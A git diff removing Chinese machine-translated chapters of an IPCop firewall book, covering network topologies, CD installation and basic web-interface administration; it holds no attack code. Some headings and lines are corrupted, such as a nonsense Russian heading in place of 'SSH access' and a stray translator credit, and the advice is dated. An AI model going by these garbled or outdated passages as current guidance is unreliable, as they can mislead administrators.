邮件解决方案(如 Horde、SquirrelMail 或 Outlook Web Access)外部访问 IMAP 或 Exchange 邮箱) - -* 代理服务器(用于桌面互联网访问) - -* IPSec,用于远程访问 Green and Orange 细分市场中的服务器或提供外部支持 - -* 邮箱在绿色区域中的后端邮件服务器,使用橙色区域中的服务器作为中继,执行反垃圾邮件和防病毒扫描/过滤 - -# 拓扑三:带 DMZ 和无线的 NAT 防火墙 - -在较大的组织中,或者如果上面的网络发展壮大,我们可能会选择使用一个或多个 IPCop 防火墙来扩展我们的网络拓扑。 非常大的网络不在本书的讨论范围之内,因为它们需要网络/IT 专业人员需要从多个来源收集的聚合知识和经验。 - -### 笔记 / 便条 / 票据 / 注解 - -**IPCop 邮件列表** - -IPCop 用户邮件列表是有关扩展 IPCop 并将其部署到更高级角色的非常好的信息来源。 对于那些对 IPCop 感兴趣的人来说,这本书值得订阅和细读。 此邮件列表的存档可在[https://sourceforge.net/mailarchive/forum.php?forum_id=4957](http://https://sourceforge.net/mailarchive/forum.php?forum_id=4957)找到,订阅页面位于[http://lists.sourceforge.net/lists/listinfo/ipcop-user](http://lists.sourceforge.net/lists/listinfo/ipcop-user)。 - -这样的个人可以使用几个 IPCop 防火墙来分隔几个站点,或者为了进一步分隔一个或多个具有物理上不同的防火墙的 DMZ。 - -同样值得考虑的是,IPCop 主要针对中小型企业和家庭/家庭办公市场中作为唯一网络防火墙的网络而设计。 虽然可以在更大的部署中设置 IPCop,但这种情况相当少见,而且可以说还有其他包更适合这种部署。 在这种情况下,IPCop 网络分段的约束开始变得更加繁重,而定制 IPCop 以满足组织需求所需的工作量可能会超过手动设置另一个防火墙包以适应相同拓扑所需的工作量。(= - -在本示例中,我们将考虑部署一个 IPCop 盒的最广泛范围,使用所有四个网络接口保护具有内部(绿色)网络、Internet 或 WAN 连接(红色)、包含多个服务器的 DMZ(橙色)以及具有 IPSec VPN 系统的无线网段(蓝色)的网络。 - -在这种情况下,我们几乎肯定会选择部署 IPCop 包含的所有高端功能,例如代理服务器和入侵检测系统。 - -![Topology Three: NAT Firewall with DMZ and Wirelesstopology two, NAT firewall with DMZIPCop functionalities](img/1361_03_06.jpg) - -在这种情况下,我们为各个网络接口提供的服务如下: - -在 Red 接口上,除了默认的防火墙策略外,我们还调用端口转发功能,以允许连接到 DMZ 中端口 25 上的邮件服务器,以及连接到邮件服务器上的端口 443(HTTPS),以便连接到企业 WebMail 系统。 我们还允许进入 IPCop 防火墙的 IPSec 连接,以便允许远程工作的员工进行远程访问,并为 IT 员工和第三方软件和硬件供应商提供远程连接以提供支持。 - -在 Blue 接口上,我们通过 IPSec VPN 为客户端提供连接,以便他们可以访问从 Green 网段和 DMZ 网段内部的服务器运行的服务。 供应商和访问者可以通过在无线接入点上配置的预共享密钥模式下使用 WPA 来访问绿色网段。 - -### 笔记 / 便条 / 票据 / 注解 - -**WPA 和 WEP** - -WPA 旨在引入更高级的无线标准的一些功能,旨在完全取代 WEP,但在该标准制定之前。 保护 802.11 个无线局域网的 wep 系统的不安全性是有据可查的,wpa 最引人注目的是使用 tkip 协议(以及其他更改)不断更改用于加密空中传输的数据的加密密钥。 使用 TKIP 而不是经常使用的密钥可以极大地降低加密被破解的严重程度(实际上,它只在短时间内被破解),尽管这确实意味着用于生成这些加密密钥的预共享密钥必须是强的,并且受到严密保护。 - -WPA-RADIUS 或 WPA-Enterprise 使用 RADIUS 服务器。 RADIUS 通常用于向交换机或系统验证用户以提供 Internet 服务,它允许接入点强制客户端计算机使用用户名和密码或加密证书向 RADIUS 服务器进行身份验证,然后才允许客户端计算机与无线接入点完全关联。 以这种方式利用 RADIUS 服务器比使用 WPA-PSK 安全得多,这既是因为消除了预共享密钥的不安全性(每个客户端具有其自己的证书或用户名/密码,并且可以单独锁定或分发这些证书或用户名/密码),还因为为每个客户端创建了唯一的加密隧道,使得无线网络的行为在逻辑上更像交换机而不是集线器(通过使用加密)。 - -WPA2 消除了 WPA 和 TKIP 的一些加密弱点,功能更强大,并使用 AES 加密标准来实现最大的数据安全性。 - -微软 TechNet 提供了关于使用其 RADIUS 服务器(互联网身份验证服务)实施 WPA-RADIUS 的优秀指南,可通过 Microsoft TechNet 在线获得,网址为:使用证书服务保护无线局域网:[http://www.microsoft.com/technet/security/prodtech/windowsserver2003/pkiwire/swlan.mspx?mfr=true](http://www.microsoft.com/technet/security/prodtech/windowsserver2003/pkiwire/swlan.mspx?mfr=true) - -使用 PEAP 和密码保护无线局域网:[http://www.microsoft.com/technet/security/topics/cryptographyetc/peap_0.mspx](http://www.microsoft.com/technet/security/topics/cryptographyetc/peap_0.mspx) - -只有一个接入点的 WPA-PSK 可防止未经授权的用户访问无线网段和互联网,对于大多数中小型网络来说,这是一个合适的解决方案;对于那些没有实现 RADIUS 或证书服务的接入点或网络基础设施的用户,使用更新的、支持 WPA2-PSK 的接入点可以更好地提高安全性。 - -防火墙策略和 IPSec 系统确保访问者/供应商只能访问红色区域(互联网),而不能访问网络上的任何资源。 - -在 Orange 界面上,我们的针孔允许 DMZ 服务器连接到 Green 段中的目录服务器和 Kerberos 域控制器,以便对通过公司目录系统登录到它们的用户进行身份验证。 这可确保集中管理这些服务器的策略和配置,并集中存储这些服务器的日志,但极大地降低了这些面向外部的服务的危害,从而确保了业务安全和法规遵从性。 - -在绿色接口上,我们允许连接到所有接口,因为绿色部分中的工作站和服务器是托管服务工作站,用户在这些工作站上没有必要的访问权限来损坏他们有权访问的资源。 - -在这种情况下,我们使用以下 IPCop 功能: - -* 红色、橙色、绿色、蓝色区域 - -* DMZ 针孔 - -* DHCP 服务器 - -* DNS 服务器 - -* 转发到橙色网段的端口 - -* 用于远程访问绿色、橙色和蓝色网段的 IPSec - -* 蓝色用户访问内部资源的 IPSec - -* 入侵检测系统 - -* 将端口转发到外部邮件服务器上的 Web 服务器 - -* 代理服务器(用于桌面互联网访问) - -在较大的组织中,我们还可以选择在站点到站点模式下使用 IPSec,以便将此办公室与一个或多个分支或父办公室链接起来。 在这一角色中,就像在单个网络防火墙的角色中一样,IPCop 出类拔萃。 - -# 规划站点到站点 VPN 拓扑 - -除了*本地*服务(如前面在我们的 IPCop 部署中说明的服务)外,我们还可能使用 IPCop 中的 IPSec 软件为分支机构或父办公室、业务合作伙伴、支持公司或第二个站点配置站点到站点的 VPN。 在这种情况下,随着网络的发展,拓扑规划可能会变得很重要。 - -如果我们有多个站点,考虑如何配置我们的 VPN 隧道以便为我们的客户端提供服务和稳定性的平衡,这一点很重要。 例如,在连接到一个总部的两个分支机构都包含彼此同步内容的文件服务器的情况下,在‘辐条’拓扑中设置从分支机构到总部的两个 VPN 隧道几乎没有意义。 在文件传输过程中,额外的跳跃会减慢主站点的互联网连接速度,从而导致传输速度变慢。 - -相反,如果我们有许多较小的办公室,对站点到站点的流量要求最低,而总部有很大的互联网连接,我们可能会认为,对我们来说,通过单一地点集中所有网络活动的额外控制是值得的。 随着网络的增加,在“网状”配置中从一个站点到另一个站点形成单独的 VPN 隧道可能会变得非常复杂和难以管理-尽管与 IPCop 部署相比不太可能,但如果不考虑使用 RIP 或 OSPF 等路由协议为我们计算路由表,这样一个由十几台左右的服务器组成的部署将越来越难以灵活管理! - -在考虑您的 VPN 设计时,花点时间确定您在冗余和速度方面的目标(例如,在您的主站点出现故障的情况下,从远程办公室到彼此设置 VPN 的额外负担值得吗?)。 把它写在纸上,想一想你的 VPN 上会有什么流量,然后为你挑选最适合你的、可扩展的设计。 - -# 摘要 - -在本章中,我们简要概述了 IPCop 可以部署在适合它的角色中的三种情况,并分析了在这些情况下使用 IPCop 的优势和缺陷。 - -书中将进一步使用这三种拓扑作为维护和部署的案例研究。 - -拓扑一:为一些客户端执行网络地址转换的双宿主防火墙。 这是替代小型 SOHO 路由器或微软互联网连接防火墙的绝佳替代产品。 与适用于类似情况的其他解决方案相比,该解决方案更安全、更可靠、可伸缩性更强。 - -此拓扑使用 IPCop 的 NAT 功能,可以使用端口转发进行外部服务访问,使用入侵检测系统提高网络安全性。 - -拓扑二:具有单独网段的 DMZ 防火墙,用于面向外部的服务,如传入邮件。 通常由已无法使用单个子网网络的中小型企业使用,它是具有嵌入式设备的小型网络与具有商用或中高端防火墙的大型网络之间的常见垫脚石。 - -此拓扑使用 IPCop 的 NAT 功能以及 DMZ 针孔,以便允许 DMZ 网段中的服务器访问资源并向绿色区域中的服务器进行身份验证。 入侵检测系统可用于增加安全性,端口转发用于允许外部(红色区域)访问在 DMZ 中的主机上运行的服务。 - -拓扑三:具有独立网段的 DMZ 防火墙,用于面向外部的服务,如传入邮件和无线访问。 这通常由单个子网网络无法满足需求的中小型企业使用。 这类似于第二种拓扑,它为不太可信的网络上的无线客户端添加了第三个内部网段,即蓝色区域。 - -这可能是拓扑 2 的常见扩展,也可能是将具有两个工作站网段的较大网络分段的一种方式。 - -此拓扑使用 IPCop 的 NAT 功能以及 DMZ 针孔,以便允许 DMZ 网段中的服务器访问资源并向绿色区域中的服务器进行身份验证。 入侵检测系统可用于增加安全性,端口转发用于允许外部(红色区域)访问在 DMZ 中的主机上运行的服务。 使用 IPSec 服务器是为了允许蓝色区域中的主机访问绿色区域和橙色区域中的资源。 - -此拓扑也可用于在不使用无线技术的情况下对网络进行分段或提供更好的安全性。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/04.md b/docs/conf-ipcop-fw/04.md deleted file mode 100644 index 83475565..00000000 --- a/docs/conf-ipcop-fw/04.md +++ /dev/null @@ -1,227 +0,0 @@ -# 四、安装 IPCop - -现在我们已经介绍了一些基本的网络和防火墙原理,并且了解了 IPCop 允许我们利用的功能,接下来我们来看看如何安装防火墙。 IPCop 可以通过多种方式安装,但使用 CDROM(有时附带软盘)是最简单、最常见的方法。 因此,我们将详细介绍此安装方法,并在后面的章节中讨论更高级安装的选项,例如通过网络安装和调试安装过程。 - -# 硬件要求 - -IPCop 具有非常低的最低硬件要求,设计用于普通 PC 硬件。 我们的主要问题通常不是“*这台机器是否足够支持 IPCop*”,而是“*这台机器是否足够强大,能够处理通过它的带宽*”。 - -IPCop 的最低系统要求为: - -* 基于**386**的**PC**或更好(这意味着您可以使用非常旧的 PC 作为防火墙) - -* **32MB**内存**内存** - -* **200MB 硬盘**(或紧凑型闪存驱动器) - -* **每个接口有一个网卡**(**网卡**)(最多四个)。 每个卡都有一个唯一的硬件或 MAC 地址,在这一点上值得注意,以便以后识别卡时使用。 - -* Red 接口的连接设备(如果不是以太网) - -# 其他硬件注意事项 - -尽管由于对 IPCop 的最低要求,人们很容易将其放在旧工作站或过时的 PC 上,但值得后退一步来考虑如何使用它。 在家庭环境或非常小的办公室中,旧 PC 可能会提供所需级别的可靠性,但如果互联网接入非常关键,尤其是如果我们在 IPCop 中使用更复杂的功能(如 VPN 或更难复制的复杂防火墙规则),那么即使我们有备份,硬件故障造成的损害也可能是严重的。 - -因此,更可靠、更新的主机可能值得考虑。 此外,还需要根据防火墙所处的环境进行考虑。 在防火墙可能不在服务器机房或通信机柜中的家庭或小型办公室环境中,较旧的 PSU 的噪音虽然很小,但可能会令人讨厌。 这样的服务器的功耗也可能是一个考虑因素-移除一些不必要的组件或将 PSU 降级到更新、更高效、功率更低的型号可能会解决噪音和电源问题。 - -硬件设置也值得考虑--应该考虑服务器的位置,这样重新布线就不成问题,机箱也不需要重新定位或被绊倒。 正如我们之前提到的,我们还应该在 BIOS 中启用某些设置,例如禁用“出错时停止”功能(这样,如果键盘被移除或组件损坏,我们的框就不会在提示时冻结,除非我们希望发生这种情况)。 另一个常见的 BIOS 选项是“重新开机”选项--使我们的服务器在停电的情况下自动重新开机。 - -# 安装程序 - -在我们开始安装 IPCop 之前,我们必须确保我们做好了充分的准备并拥有所有必要的设备。 以下是简短的核对表,以确保我们在开始之前拥有所需的一切;所有特定于 IPCop 的内容(如 CD 和软盘介质)将在安装演练过程中详细介绍。 - -* 我们有能满足最低系统要求的机器吗? - -* 我们的机器中是否有足够的资源来处理我们预计的带宽使用情况? - -* 我们是否拥有所有必需的网卡及其驱动程序(如有必要),并且是否检查了它们是否与 IPCop 兼容? - -* 围绕 IPCop 机器的所有必需设备是否都已就位? 测试配置的示例包括布线、交换机和客户端计算机。 - -* 我们的互联网连接是否正常? - -一旦我们确定所有必备的硬件和连接都可用,我们就可以开始安装了。 我们必须下载 IPCop 安装 ISO 并将其刻录到 CD。 最新版本可以在 IPCop[http://sourceforge.net/project/showfiles.php?group_id=40604](http://sourceforge.net/project/showfiles.php?group_id=40604)的 SourceForge 项目页面上找到。撰写本文时,最新版本是 1.4.10:[http://prdownloads.sourceforge.net/ipcop/ipcop-install-1.4.10.i386.iso?download](http://prdownloads.sourceforge.net/ipcop/ipcop-install-1.4.10.i386.iso?download) - -下载 ISO 并将其刻录到 CD 后,使用您选择的 CD 刻录包,我们可以开始安装。 - -### 备注 - -**使用软盘安装** - -如果您的 IPCop 计算机不是从 CD 启动,您可以在 CD 的 `images`文件夹(例如 `boot-1.4.0.img`)中找到软盘映像,可以使用 Linux 上的 `dd`命令或使用 IPCop 磁盘上提供的 `rawwritewin.exe`将其复制到软盘。 - -现在,我们可以通过将 IPCop 磁盘插入 CD 驱动器来引导机器,然后我们应该会看到以下屏幕: - -![The Installation Procedure](img/1361_04_01.jpg) - -如您所见,有一条非常突出的消息,即安装 IPCop 将销毁系统上的所有数据。 这意味着 IPCop 遇到的第一个磁盘将被擦除、重新分区和格式化,以便 IPCop 系统安装。 为了我们的数据安全,我们必须确认系统中只有一个磁盘,并且确保没有任何有价值的东西存储在那里,这一点非常重要。 一旦我们确定了这一点,我们就可以开始安装,而不用担心数据丢失。 - -此时按*Enter*将引导我们进入安装系统,但我们还可以向内核提供其他参数。 如果在按下*Enter*后系统无法正常启动,我们应该重新启动机器并尝试上面的选项之一。 如果我们的机器没有 PCMCIA(通常在笔记本电脑上可以找到),我们通常可以使用 `nopcmcia`选项,USB 也是如此。 许多 IPCop 系统在旧硬件上运行,USB 在这方面不太常见。 - -在我们点击*Enter*之后,我们将看到语言选择屏幕。 假设我们想要英语 IPCop 系统,我们可以选择默认选项,否则选择我们的首选语言。 您可以使用箭头键导航菜单项。 然后,我们将看到 IPCop 欢迎消息,其中包含随时点击 Cancel 以导致重新启动的说明,以防我们改变安装主意。 - -## 安装介质 - -如下图所示,安装过程的下一阶段是安装介质的选择。 - -![Installation Media](img/1361_04_02.jpg) - -对于没有 CDROM 驱动器的计算机,可以通过 FTP 或 HTTP 安装 IPCop。 在这种情况下,我们将从软盘启动机器,然后让主机下载来自 Internet 的内容通常包含在 CDROM 上。 因为盒子里有 CDROM,所以我们可以选择**CDROM**选项。 然后,我们将看到一条消息提示我们:**请将 IPCop CDROM****插入 CDROM 驱动器**。 这并不意味着安装过程没有拿起 CD。 到目前为止,我们可以从 CD 或软盘启动,安装过程允许这样做,如果我们点击**OK**安装应该可以正常继续。 - -## 硬盘分区和格式化 - -然后我们会收到警告,系统即将对硬盘进行分区和格式化。 - -![Hard Drive Partitioning and Formatting](img/1361_04_03.jpg) - -这是不能返回的点,在这里按*Enter*会完全擦除磁盘,并且我们会丢失驱动器上的所有数据。 如前所述,只要我们已经确保系统中只有一个驱动器,并且该驱动器是我们不介意擦除的驱动器,我们就可以继续。 按*Enter*将开始分区和格式化过程。 如果我们有一个大磁盘,这可能需要一两分钟。 通常,在 IPCop 中放置一个较小的磁盘是个好主意,因为它不会占用大量空间,这取决于我们预计 IPCop 会有多少日志文件。 但是,我们必须确保满足最低要求,大约为 200MB,而任何超过 10 GB 左右的内容都不太可能被使用,除非您最终使用需要更多空间的附加组件-这些附加组件可能会满足您的磁盘空间要求。 - -## 从软盘备份恢复配置 - -在此阶段,我们可以选择恢复保存在软盘上的早期配置,这是备份 IPCop 配置的理想方式。 - -![Restore Configuration from Floppy Backup](img/1361_04_04.jpg) - -因为这是我们第一次安装 IPCop,所以不太可能有软盘。 但是,如果我们这样做了,我们可以选择**恢复**,并且系统配置的其余部分将根据我们以前的安装选项自动运行。 目前,我们将选择**跳过**,继续手动安装。 - -# 绿色接口配置 - -正如我们在前几章中所讨论的,IPCop 有一个配色方案,用于引用系统中安装的网卡。 这是我们在安装过程中遇到的第一个点。 - -![Green Interface Configuration](img/1361_04_05.jpg) - -绿色接口对应于我们的本地网络,我们现在可以选择此接口。 最简单的方法是允许 IPCop 对网卡进行**探测**,它可以非常可靠地完成。 但是,如果我们确切知道要使用哪种牌子和型号的卡,我们可以选择**手动选择**,这将为我们提供一个已知卡列表以供选择。 此屏幕还引用了**特殊模块参数**,如果需要,我们可以将这些选项传递给内核中的网络驱动程序。 一旦配置了此阶段,我们就可以远程完成其余的安装,稍后会要求我们配置其他卡。 - -此阶段的一个小问题是,如果我们让 IPCop 探测网卡,IPCop 发现的第一个卡将用作 Green 网络接口。 我们为特定接口选择特定的卡可能是有原因的:例如,我们可能有 10Mbit 和 100Mbit 的卡,并且希望使用 10Mbit 的卡来连接互联网。 在这种情况下,我们可以采用以下两种技术之一-或者自己为我们想要的特定卡选择驱动程序作为绿色接口,或者将卡按顺序放入机器,使绿卡位于编号最低的 PCI 或 ISA 插槽中。 还请注意,IPCop 赋予卡的名称可能不是卡的制造商或型号的名称,因为它与正在使用的**芯片组**相关,例如,许多普通卡将被标识为**Digital 21x4x Tulip PCI…。** 。 - -有时这可能需要一些工作,特别是如果两个完全相同的网卡共享同一个盒子,可能会导致混淆,不知道哪个网卡分配给了哪个接口。 当主机中有多个卡时,某些卡(如较旧的 3Com Etherlink 卡)可能很难使用。 在大多数情况下,可以通过 IPCop 社区找到针对该问题的特别帮助。 - -## 完成了吗? - -哇,这太容易了! 看来我们已经安装完毕了。 - -![Finished?](img/1361_04_06.jpg) - -不过,不要太得意忘形;这条消息意味着基本系统文件已经就位,我们最基本的配置已经完成。 现在,我们必须根据特定需求设置 IPCop,方法是选择要使用的接口类型以及寻址系统的工作方式。 在此处按*Enter*将进入 IPCop 的配置。 - -## _ - -我们从键盘布局选项开始。 - -![Locale Settings](img/1361_04_07.jpg) - -我们应该选择我们想要使用的键盘布局。 对于使用标准美国键盘的用户,选择**US**,对于使用 UK 布局的用户,选择**UK**。 在这里选择错误的布局可能会使菜单导航和命令稍后变得有点困难,因此请确保选择正确的选项。 如果您不确定,请检查您的桌面系统是如何配置的。 - -系统还会提示我们选择我们的**时区**,如**GMT**或**EST**;请再次小心选择正确的选项,并咨询您的桌面系统以了解其配置情况。 - -## 主机名 - -现在,我们必须为 IPCop 机器命名。 - -![Hostname](img/1361_04_08.jpg) - -如果网络上已经有了命名方案,我们可以使用该方案;其他选项可能是**Firewall**或默认的**ipcop**。 如果我们使用 IPCop 盒作为 DNS 服务器,它将使用此名称的自己的 IP 地址进行回复,因此可以方便地寻址 IPCop 的 Web 前端。 - -## DNS 域 - -我们的本地网络上 IPCop 的默认域名如下图所示: - -![DNS Domain Name](img/1361_04_09.jpg) - -如果我们没有域名,我们可以使用默认域名,尽管作为企业网络,我们可能已经在本地网段上使用了域;我们应该在此处输入域名,注意不要与内部和外部 DNS 重叠。 例如,如果我们在外部使用**reboot-robot.net**,那么在内部使用**lan.reboot-robot.net**可能是一个更好的主意,允许内部客户端使用 DNS 引用内部和外部计算机。 错误配置此域名或使用不属于您的域名可能会导致网络内的客户端无法访问该域。 如果我们把**aol.com**放在这里作为例子,那么我们可能很难访问 AOL 的网站和其他服务。 - -## ISDN 配置 - -如果我们有 ISDN 调制解调器,现在可以在这里进行配置: - -![ISDN Configuration](img/1361_04_10.jpg) - -我们需要诸如正在使用的协议和要使用的电话号码等参数,所有这些都可以由 ISDN ISP 提供。 如果您必须拨 9 才能拨打外线,那么也应该包括在内,并且可以在必要时通过插入逗号来添加停顿。 如果我们没有 ISDN,我们应该选择禁用它;然后我们可以在后面的步骤中设置其他连接方法,如 DSL。 - -## 网络配置 - -现在,我们应该看到**Network Configuration(网络配置)菜单**。 - -![Network Configuration](img/1361_04_11.jpg) - -这是设置过程的重要部分,与我们在上一章中讨论的网络拓扑直接相关。 - -我们首先确定我们的**网络配置类型**。 有很多可供选择的,在上一章中,我们对其中的几个进行了概述。 在本例中,我们将运行**Green+red**拓扑的安装过程。 - -当我们根据上一章中确定的拓扑选择适当的选项时,我们可以转到网络配置菜单中的第二项。 - -### 驱动程序和卡分配 - -对于在系统中找到的每个网络接口卡,我们将看到一个菜单提示,如下图所示: - -![Drivers and Card Assignment](img/1361_04_12.jpg) - -如果我们选择具有更多接口的拓扑,例如使用 Orange 或 Blue,我们可以将卡分配给我们希望将其指定为的接口。 在上面显示的示例中,我们有一个卡,并将其分配给**red**接口;这将使它成为我们的 Internet 连接。 - -### 地址设置 - -网络配置菜单中的下一个选项是**地址设置**。 在这里,我们可以定义要在服务器上使用的地址。 - -![Address Settings](img/1361_04_13.jpg) - -我们始终希望 Green、Orange 和 Blue 接口保持静态,每个接口具有不同的子网。 Red 接口将取决于我们的 ISP,他们将提供配置信息。 对于静态、PPPOE 和 PPTP,地址和配置信息应按照您的 ISP 说明进行配置。 但是,如果我们使用的是 DHCP,则只需单击**DHCP**选项,并保留所有其他设置的默认值(除非您的 ISP 另有指示)。 大多数电缆连接将使用 DHCP,而 ADSL 连接将根据使用的 ADSL 路由器、调制解调器或接口卡的类型而有所不同。 - -## DNS 和默认网关 - -我们还应该提供 DNS 和默认网关服务器以供使用。 - -![DNS and Default Gateway](img/1361_04_14.jpg) - -如前所述,这对于 DHCP 并不总是必需的,通常不是一个好主意,因为它会覆盖您的 ISP 在 DHCP 中提供的设置。 - -## DHCP 服务器 - -如果我们决定对 DHCP 使用 IPCop,则必须配置各种 DHCP 选项。 - -![DHCP Server](img/1361_04_15.jpg) - -如果我们有一个包含几个客户端的简单网络,我们可能希望我们的 IPCop 来处理 DHCP。 在较大的网络中,我们可能已经在使用专用的 DHCP 服务器;如果是这样,我们应该禁用该 DHCP 服务器。 - -DHCP 需要将一系列地址分配给客户端。 我们首先提供该范围,该范围由**起始地址**和**结束地址**定义。 在上例中,我们选择了**10.0.0.100**到**10.0.0.200。 默认租用**和**最大租用**时间是允许 DHCP 客户端*租用*IP 地址的持续时间。 除非您的网络对特定时间的租赁有特定要求,否则通常没有真正的理由更改这些设置。 - -通常,正如我们前面所讨论的,我们可以选择任何想要的内部寻址方案(只要我们使用内部地址)。 只要我们在使用上保持一致,并合理地配置所有内容,这一切都会正常工作,此示例安装中的默认设置(除了我们前面提到的域名后缀)也会正常工作。 同样,正如我们之前讨论过的,唯一的小例外是如果我们有一家使用这些(RFC1918)地址的 ISP-此信息可以从您的 ISP 处获得。 - -域名后缀应该预先填充我们先前在配置中提供的信息,通常后缀应该与网络上的其他客户端一起使用,以确保所有客户端都配置了相同的设置,这些设置也与 IPCop 机器匹配。 - -## 完成! - -现在我们可以兴奋起来了! 我们已经完成了 IPCop 的安装过程。 - -![Finished!](img/1361_04_16.jpg) - -在此按下*Enter*后,系统将首次重新引导至我们的 IPCop 安装。 - -# 第一次引导 - -当 IPCop 系统启动时,我们将看到以下屏幕,这是作为 IPCop(GRUB)的一部分安装的引导加载程序。 现在,我们可以选择要使用的引导选项,并可以选择在引导之前向内核添加任何参数。 几秒钟后,默认条目应该会启动。 - -![First Boot](img/1361_04_17.jpg) - -### 备注 - -==同步,由 Elderman 更正==@ELDER_MAN - -GRUB 是 Linux 常用的引导加载程序之一,它本质上介于计算机的 BIOS 和操作系统之间,允许我们选择多个操作系统,或者只为其中一个指定选项(例如选择 SMP 或 ACPI 支持,而不是标准内核,如上一个屏幕截图中的菜单所示)。 - -关于 GRUB 的更多信息可以在 FSF 网站上找到。 - -[http://www.gnu.org/software/grub/](http://www.gnu.org/software/grub/) - -然后,我们应该在屏幕上看到一些引导信息输出,这应该会持续几秒钟,然后是一组令人满意的蜂鸣音,最后是以下输出: - -```sh - IPCop v1.4.10 - The Bad Packets Stop Here -flaminghomer login: - -``` - -这是 Linux 登录提示符,表示我们现在已经安装并成功引导了 IPCop 系统。 IPCop 现在将充当我们的基本 NAT 防火墙,无需进一步配置。 - -# 摘要 - -在本章中,我们介绍了如何使用前面介绍的配置和拓扑设置和运行 IPCop 系统。 我们还看到,NAT 应该可以通过防火墙;客户端应该能够获取 IP 地址、使用 DNS 和访问 Internet。 现在,我们可以继续自定义系统并启用默认情况下不可用的功能和服务。 在接下来的几章中,我们将介绍基本配置,然后查看更高级的选项,如入侵检测和 VPN。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/05.md b/docs/conf-ipcop-fw/05.md deleted file mode 100644 index 13e2fd34..00000000 --- a/docs/conf-ipcop-fw/05.md +++ /dev/null @@ -1,405 +0,0 @@ -# 九、IPCop 的基本用法说明 - -现在我们已经介绍了 IPCop 防火墙的安装以及我们想要部署它的几种情况,接下来我们将讨论如何管理和操作 IPCop 防火墙。 假设安装已成功,默认的 IPCop 安装将为我们提供一个 Web 界面。 Web 界面允许我们通过任何 Web 浏览器配置防火墙,并且(默认情况下)仅为 Green 内部接口上的客户端启用。 - -默认情况下,Web 服务器在端口 445(针对**HTTPS**通信量)上运行,尽管这些端口可以更改;该端口不同于常用/分配的端口(443)。 应该注意的是,使用此端口访问 Web 界面将产生证书弹出窗口-这是由于使用自签名的**SSL**证书造成的,可以安全地忽略。 - -可以从 IPCop 控制台使用 `setreservedports`命令或**SSH**会话将 HTTPS 管理的端口分配更改为 445 以上的任何端口,这可能是希望远程访问其 IPCop 主机的任何人的考虑因素,因为某些 Internet 服务提供商会将通信量防火墙到端口 445,以防止 Sasser 之类的蠕虫通过端口 445(通过**TCP**)利用 Windows 中的漏洞(**SMB**over**TCP**)。 将此端口更改为低于 445 时必须手动完成,但不应轻率进行,并且需要编辑与 `setreservedports`([http://www.ipcop.org/modules.php?op=modload&NAME=phpWiki&FILE=INDEX&PageName=IPCop140HttpsPortHowto](http://www.ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=IPCop140HttpsPortHowto))相同的文件。 - -1.4 之前的版本支持发往端口 81 的未加密通信,该通信已弃用,最初仅支持不支持 HTTPS/SSL 的浏览器。 从 IPCop 防火墙 1.4 版开始,已将其更改为仅允许 HTTPS 管理(尽管端口 81 可以重新配置)。 - -然后,通过[https://ipcopfirewall:445/](https://ipcopfirewall:445/)(其中 ipcopwall 是主机的名称或 IP 地址)访问我们的 IPCop 防火墙,将显示默认配置屏幕,其中包含 IPCop 防火墙的状态、更新状态、系统负载和所有适当配置选项的菜单的概述。 此时有关证书的任何消息都可以安全地忽略,并且源于这样一个事实:您的 IPCop 主机生成自己的 SSL 证书,而不是使用您的浏览器可能知道的**证书颁发机构**(**CA**)颁发的证书,例如 VeriSign 或 CAcert。 - -# 系统菜单 - -**SYSTEM**菜单中的项目对系统功能相当关键。 - -![The System Menu](img/1361_05_01.jpg) - -## 软件更新 - -安装后,我们应该做的第一件事是确保我们的 IPCop 防火墙应用了适当的更新。 尽管许多软件更新为新功能和现有软件包提供更新和错误修复,但有些软件更新解决了新的安全问题,并且为了维护防火墙的完整性;尽可能频繁地应用这些更新非常重要。 - -软件更新功能在**系统|更新**菜单下提供。 - -![Software Updates](img/1361_05_02.jpg) - -**刷新更新列表**按钮连接到 IPCop 服务器并检索已发布更新的列表-页面的**可用更新**部分将指示何时需要提供更新,并提供下载链接。 更新必须按原样(不解包或解压)从 Internet 手动下载,然后上传(通过**浏览**按钮)到防火墙。 - -正如更新文件(`*.tgz.gpg`)的名称所示,更新是使用**GNU Privacy Guard**(**GPG**)签名的,它可以防止任何人在不首先泄露用于签名更新的 IPCop 密钥的情况下发布未经授权(或被泄露)的更新。 GPG 签名阻止解包、重组或修改更新,导致 IPCop 拒绝使用已被入侵者篡改或解包而不是简单地下载和上载的更新文件。 - -更新将指示是否需要重新启动 IPCop 防火墙,但在许多情况下不需要,通常是内核更新需要这样做。 - -IPCop 防火墙的一些版本(通常是主要版本增量,如 1.3-1.4)要求完全重新安装防火墙,因为升级过程太复杂,无法通过更新来执行,就像次要版本增量一样。 在这种情况下,可以备份防火墙配置,因此不会完全从头重建防火墙。 - -## 密码 - -下一个**SYSTEM**菜单允许我们更改密码-此屏幕相对简单易懂,让我们可以选择重置**管理员**密码(这使我们可以完全控制 Web 界面)和**拨号**密码。 **拨号**用户仅允许用户访问连接或断开必须手动拨号的连接,例如模拟调制解调器。 - -系统上的第三个帐户是 root 帐户(您在安装过程中设置了其密码),它有权重置**admin**和**Dial**用户帐户密码,但此功能必须在 IPCop 防火墙的控制台上使用或通过 SSH 使用,必须手动启用。 - -## Колибрипрограммется - -SSH 访问允许我们使用具有适当权限的帐户(如 root 帐户)远程安全地建立控制台会话。 SSH 是一个非常有用的工具,对它的全面介绍超出了本章甚至本书的范围。 在最基本的情况下,SSH 可以用来运行命令和管理系统,其方式(即在文本上,在命令行中)类似于在机器本身的控制台上执行的操作。 - -在 IPCop 上下文中,这非常有用,因为我们可以运行安装过程中运行的安装程序(允许我们重置或更改参数,如网络配置和卡分配,或重置密码)。 如果您更改了网络拓扑或在 IPCop 防火墙中添加/更换了网卡,则可能需要通过 SSH 重新配置。 - -![SSH Access](img/1361_05_03.jpg) - -### 备注 - -**SSH 密钥** - -[http://hacks.oreilly.com/pub/h/66](http://hacks.oreilly.com/pub/h/66)很好地简要概述了 SSH 键的使用,并提供了一些指向其他资源的指针(以及关于该主题的大量用户评论)。 - -密钥身份验证允许使用存储在客户端计算机上的密钥(与 SSL 类似)对客户端进行身份验证,而不是每次在 SSH 身份验证阶段(SSH-USERAUTH)使用密码时通过 Internet 传输(通过加密隧道)密码。 假设密钥没有被窃取或泄露,这种身份验证方法比使用密码要安全得多,但理解和配置起来更复杂,灵活性也稍差一些(您想要用来登录 SSH 服务器的任何系统都需要密钥文件,而只需要记住密码)。 - -通常,SSH 作为诊断工具也更有用-IPCop 